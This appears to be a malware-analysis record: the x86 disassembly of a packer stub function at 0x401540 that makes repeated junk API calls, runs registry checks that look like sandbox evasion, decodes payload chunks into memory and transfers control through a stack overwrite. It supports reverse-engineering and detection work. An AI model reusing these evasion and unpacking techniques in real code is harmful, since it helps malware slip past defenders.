Function at 0x401540
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7dc
push ebx
push esi
push edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x78c], 4
mov dword [ebp - 0x774], 0x80000000
mov dword [ebp - 0x788], 0x20019
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x71c], eax
pushal
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x780], 0x64
mov dword [ebp - 0x14], 0x23
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x780], 0x64
mov dword [ebp - 0x14], 0x23
push 0x140f
push 0
call dword [sym.imp.USER32.dll_LoadCursorW]
test eax, eax
je 0x4015e1
xor eax, eax
jmp 0x4019ce
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [ebp - 0x7dc], str.SOFTWAREUUasses
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x780], 0x64
mov dword [ebp - 0x14], 0x23
mov ecx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [0x439b88], ecx
mov edx, 0x43
mov eax, dword [ebp - 0x7dc]
mov word [eax + 0x12], dx
mov ecx, 0x6c
mov edx, dword [ebp - 0x7dc]
mov word [edx + 0x14], cx
lea eax, [ebp - 0x20]
push eax
push 1
push 0
mov ecx, dword [ebp - 0x7dc]
push ecx
push 0x80000002
call dword [0x439b88]
test eax, eax
je 0x401730
xor eax, eax
jmp 0x4019ce
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
test eax, eax
jne 0x401748
xor eax, eax
jmp 0x4019ce
lea edx, [ebp - 0x20]
push edx
push 1
push 0
push str.clsid000c103e_0000_0000_c000_000000000046inprocserver32
push 0x80000000
call dword [0x439b88]
test eax, eax
je 0x401766
int 0x3d
push 1
mov eax, dword [0x439b84]
push eax
call fcn.00401bb0
add esp, 8
mov dword [0x439b94], eax
mov ecx, dword [0x439b94]
push ecx
call fcn.00401b00
add esp, 4
mov dword [ebp - 0x784], eax
mov edx, dword [0x439b94]
mov dword [ebp - 0x724], edx
mov eax, dword [ebp - 4]
cmp eax, dword [0x439b94]
jae 0x401815
mov ecx, dword [ebp - 0x724]
push ecx
mov edx, dword [ebp - 0x780]
push edx
call fcn.00401440
add esp, 8
mov dword [ebp - 0x778], eax
mov eax, dword [ebp - 0x778]
push eax
mov ecx, dword [0x439b84]
add ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x784]
add edx, dword [ebp - 4]
push edx
call fcn.00401190
add esp, 0xc
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x780]
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0x780]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x724]
sub edx, dword [ebp - 0x778]
mov dword [ebp - 0x724], edx
jmp 0x40179c
mov eax, dword [0x439b94]
push eax
mov ecx, dword [ebp - 0x784]
push ecx
call fcn.00401500
add esp, 8
mov edx, dword [ebp + 8]
mov dword [0x439b78], edx
mov dword [ebp - 0x1c], 0
mov dword [ebp - 4], 0
push 2
mov eax, dword [0x439b84]
push eax
call fcn.00401bb0
add esp, 8
mov dword [0x439b94], eax
mov ecx, dword [0x439b94]
push ecx
call fcn.00401b00
add esp, 4
mov dword [ebp - 0x18], eax
mov edx, dword [0x439b94]
mov dword [ebp - 0x724], edx
mov eax, dword [ebp - 4]
cmp eax, dword [0x439b94]
jae 0x4018ea
mov ecx, dword [ebp - 0x724]
push ecx
mov edx, dword [ebp - 0x780]
push edx
call fcn.00401440
add esp, 8
mov dword [ebp - 0x778], eax
mov eax, dword [ebp - 0x778]
push eax
mov ecx, dword [0x439b84]
add ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 4]
push edx
call fcn.00401190
add esp, 0xc
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x780]
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0x780]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x724]
sub edx, dword [ebp - 0x778]
mov dword [ebp - 0x724], edx
jmp 0x401874
mov eax, dword [0x439b94]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.00401500
add esp, 8
mov dword [ebp - 0x790], 0x401bd0
mov edx, dword [ebp - 0x784]
mov eax, dword [ebp - 0x18]
mov dword [edx], eax
mov dword [ebp - 0x78c], 0x5b000
mov ecx, dword [ebp - 0x78c]
push ecx
call fcn.00401b00
add esp, 4
mov dword [0x439b64], eax
push 0x22900
mov edx, dword [ebp - 0x784]
push edx
mov eax, dword [0x439b64]
add eax, 0x200
push eax
call fcn.00401190
add esp, 0xc
call fcn.004014f0
mov dword [ebp - 0x78c], eax
mov ecx, dword [0x439b64]
sub ecx, dword [ebp - 0x78c]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x24]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [0x439b64]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call fcn.00401b40
add esp, 0xc
mov eax, dword [0x439b64]
add eax, 0x22850
mov dword [0x439b68], eax
popal
push 0x501094
mov eax, dword [ebp - 0x790]
mov ecx, esp
mov edx, 0x1e
mov edi, edi
mov edi, edi
mov edi, edi
mov edi, edi
mov edx, edx
mov edi, edi
mov edi, edi
mov edi, edi
mov edx, ecx
sub edx, 0x3e7
jmp 0x4019c1
mov dword [edx + 0x3e7], eax
mov edi, edi
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret